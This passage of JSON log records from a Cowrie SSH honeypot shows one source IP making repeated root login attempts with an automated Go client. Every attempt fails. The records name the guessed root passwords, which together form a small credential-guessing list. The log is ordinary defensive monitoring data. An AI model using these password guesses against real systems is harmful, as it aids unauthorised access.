-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:31.717894Z","src_ip":"60.165.124.241","session":"d70cf4fe40f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4rfv%TGB6yhn","message":"login attempt [root/4rfv%TGB6yhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:32.446132Z","src_ip":"60.165.124.241","session":"d70cf4fe40f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:33.688798Z","src_ip":"60.165.124.241","session":"d70cf4fe40f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38800,"dst_ip":"10.17.0.5","dst_port":22,"session":"0de8a6dbb689","protocol":"ssh","message":"New connection: 60.165.124.241:38800 (10.17.0.5:22) [session: 0de8a6dbb689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:33.918307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:33.923292Z","src_ip":"60.165.124.241","session":"0de8a6dbb689","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:34.162870Z","src_ip":"60.165.124.241","session":"0de8a6dbb689","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123!@#","message":"login attempt [root/qaz123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:34.877332Z","src_ip":"60.165.124.241","session":"0de8a6dbb689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:36.117676Z","src_ip":"60.165.124.241","session":"0de8a6dbb689","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41638,"dst_ip":"10.17.0.5","dst_port":22,"session":"75e0e7810944","protocol":"ssh","message":"New connection: 60.165.124.241:41638 (10.17.0.5:22) [session: 75e0e7810944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:36.356731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:36.361458Z","src_ip":"60.165.124.241","session":"75e0e7810944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:36.601257Z","src_ip":"60.165.124.241","session":"75e0e7810944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"M4ssQrm0*","message":"login attempt [root/M4ssQrm0*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:37.326035Z","src_ip":"60.165.124.241","session":"75e0e7810944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:38.568388Z","src_ip":"60.165.124.241","session":"75e0e7810944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45012,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4cdf145dc76","protocol":"ssh","message":"New connection: 60.165.124.241:45012 (10.17.0.5:22) [session: a4cdf145dc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:38.800519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:38.805621Z","src_ip":"60.165.124.241","session":"a4cdf145dc76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:39.052134Z","src_ip":"60.165.124.241","session":"a4cdf145dc76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cj123456","message":"login attempt [root/Cj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:39.772983Z","src_ip":"60.165.124.241","session":"a4cdf145dc76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:41.013710Z","src_ip":"60.165.124.241","session":"a4cdf145dc76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48014,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9944f8abb2f","protocol":"ssh","message":"New connection: 60.165.124.241:48014 (10.17.0.5:22) [session: e9944f8abb2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:41.264525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:41.269123Z","src_ip":"60.165.124.241","session":"e9944f8abb2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:41.514954Z","src_ip":"60.165.124.241","session":"e9944f8abb2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123456","message":"login attempt [root/Admin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:42.260114Z","src_ip":"60.165.124.241","session":"e9944f8abb2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:43.509577Z","src_ip":"60.165.124.241","session":"e9944f8abb2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51470,"dst_ip":"10.17.0.5","dst_port":22,"session":"86dcf59f07a1","protocol":"ssh","message":"New connection: 60.165.124.241:51470 (10.17.0.5:22) [session: 86dcf59f07a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:43.729712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:43.734913Z","src_ip":"60.165.124.241","session":"86dcf59f07a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:43.970704Z","src_ip":"60.165.124.241","session":"86dcf59f07a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqq123456","message":"login attempt [root/qqq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:44.685392Z","src_ip":"60.165.124.241","session":"86dcf59f07a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:45.923963Z","src_ip":"60.165.124.241","session":"86dcf59f07a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54066,"dst_ip":"10.17.0.5","dst_port":22,"session":"c57fd37073eb","protocol":"ssh","message":"New connection: 60.165.124.241:54066 (10.17.0.5:22) [session: c57fd37073eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:46.163045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:46.167651Z","src_ip":"60.165.124.241","session":"c57fd37073eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:46.406007Z","src_ip":"60.165.124.241","session":"c57fd37073eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wntlrghltkzhzha.,","message":"login attempt [root/Wntlrghltkzhzha.,] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:47.130500Z","src_ip":"60.165.124.241","session":"c57fd37073eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:48.371931Z","src_ip":"60.165.124.241","session":"c57fd37073eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57118,"dst_ip":"10.17.0.5","dst_port":22,"session":"50895c8e59d5","protocol":"ssh","message":"New connection: 60.165.124.241:57118 (10.17.0.5:22) [session: 50895c8e59d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:48.602391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:48.606392Z","src_ip":"60.165.124.241","session":"50895c8e59d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:48.844416Z","src_ip":"60.165.124.241","session":"50895c8e59d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456789..","message":"login attempt [root/Aa123456789..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:49.561941Z","src_ip":"60.165.124.241","session":"50895c8e59d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:50.801196Z","src_ip":"60.165.124.241","session":"50895c8e59d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60364,"dst_ip":"10.17.0.5","dst_port":22,"session":"81d5a1573d07","protocol":"ssh","message":"New connection: 60.165.124.241:60364 (10.17.0.5:22) [session: 81d5a1573d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:51.069562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:51.073960Z","src_ip":"60.165.124.241","session":"81d5a1573d07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:51.328251Z","src_ip":"60.165.124.241","session":"81d5a1573d07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pakistan12","message":"login attempt [root/pakistan12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:52.095927Z","src_ip":"60.165.124.241","session":"81d5a1573d07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:53.352283Z","src_ip":"60.165.124.241","session":"81d5a1573d07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35094,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dd182f47627","protocol":"ssh","message":"New connection: 60.165.124.241:35094 (10.17.0.5:22) [session: 5dd182f47627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:53.573738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:53.579025Z","src_ip":"60.165.124.241","session":"5dd182f47627","protocol":"ssh"}
